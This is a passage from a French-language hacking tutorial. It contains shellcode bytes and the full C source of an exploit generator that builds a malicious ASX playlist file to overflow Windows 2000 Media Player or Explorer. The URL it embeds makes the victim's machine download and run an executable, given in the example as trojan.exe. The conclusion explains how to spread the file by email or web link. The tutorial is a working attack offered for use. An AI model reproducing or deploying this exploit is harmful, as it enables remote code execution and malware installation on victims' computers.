"\x17\x05\x01\x01\xFE\x96\x13\x05\x01\x01\x3C\x01\x01\x01\x01\x75\x25\x80\xBE\x1F\x05\x01"
"\x01\x01\x01\x01\x01\x75\x19\xFE\xB6\x1F\x05\x01\x01\x56\xFE\xB6\x1B\x05\x01\x01\xFE\x96"
"\x2D\x05\x01\x01\xE8\xBA\xFE\xFE\xFE\xFE\xB6\x1B\x05\x01\x01\xFE\x96\x29\x05\x01\x01\x69"
"\x01\x01\x01\x01\x57\xFE\x96\x31\x05\x01\x01\x69\x01\x01\x01\x01\xFE\x96\x35\x05\x01\x01"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x41\x41\x41\x41\x41\x41\x41"
"AAAAAAAAA\"/></ENTRY></ASX>\x0D\x0A" };
int main (int argc, char **argv)
{
FILE *hf;
char *xploit;
int index;
printf("***********************\n");
printf("*** ASX exploit ***\n");
printf("*** by obscurer ***\n");
printf("***********************\n");
if(argc!=3) usage(argv[0]);
xploit=(char *)malloc(68001); // Alloue un gros buffer pour le fichier ASX
if(!xploit)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}
if(strlen(argv[2])>65) // Faut faire gaffe que l'URL dépasse pas 66
sinon y a pas assez de place dans le buffer
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}
for(index=0;index<strlen(argv[2]);index++) // On XOR l'Url qui est
l'argument 2
shellcode[index+134]=argv[2][index]^0x20;
memcpy(xploit,header,strlen(header)); // On la copie au bon endroit
dans le shellcode
for(index=strlen(header);index<(23412+strlen(header));index++) // On remplit de 'AAAA' le
buffer jusqu'au shellcode
xploit[index]=0x41;
memcpy(xploit+index,shellcode,strlen(shellcode)); // On copie le shellcode à sa
place
for(index=24555;index<68000;index++) // On remplit ce qui reste de
buffer par des espaces (c'est nécéssaire)
xploit[index]=0x20;
xploit[68000]=0; //
Finit la chaine
hf=fopen(argv[1],"w"); // On ouvre le fichier ASX (argument 1)
if(!hf)
{
printf("Error, can't create file !\n");
return 0;
}
fwrite(xploit,68000,1,hf); // On dump le buffer
fclose(hf);
printf("Done, created %s, url is http://%s\nEnjoy
!\n",argv[1],argv[2]);
return 0;
} // And it was done
!
void usage(char *a)
{
printf("Arguments :\n");
printf(" %s <file> <Url>\n",a);
printf(" <file> this is the name of the ASX file to
create\n");
printf(" <Url> url of the executable (do not include
'http://')\n");
printf("ex : '%s foo.asx www.myserver.com/trojan.exe' will
create a corrupted asx file for the specified system that will
download and execute trojan.exe\n",a);
exit(0);
}
------------------------- CUT HERE ---------------------------
VII\ Conclusion
C'est fini pour aujourd'hui, c'était plus dur que la dernière fois hein ? En fait, ça nous a permi de revoir les histoires d'API à loader, j'ai traité ça différent la dernière fois, mais là ça a plus de classe héhé :) Sinon, on a vu aussi des techniques d'encryption du code pour éviter les bytes qui nous gênent. J'espère que vous avez trouvé ça interressant ! Le fichier executable Win2KASX.exe créé donc le fichier ASX. Il suffit d'envoyer par mail ce fichier .ASX, de mettre un lien sur une page web, ou que simplement un utilisateur clique UNE FOIS dessus dans une fenêtre, pour que l'overflow se produise, plantant Media Player, ou bien explorer.exe si l'utilisateur a cliqué sur le fichier et que la description/chargement automatique dans le cadre à gauche des fenêtres est activée (par défaut). Ceci est valable pour TOUT les Windows 2000 :) Server ou Professionnal, sauf bien entendu si ils ont été patchés car Microsoft a releasé un patch il me semble. Sur ces bonnes paroles, je vous laisse, les questions, critiques (pourquoi pas mais faites gaffe je suis suscetible), ou autre, sont les bienvenues par mail.
Bein.... A+ tout le monde et bonne lecture ! Merci encore de m'avoir lu ou re-lu !
Ciao tout le monde !
"Dare to be honest, be yourself. A cowardly man......" -=Korn=-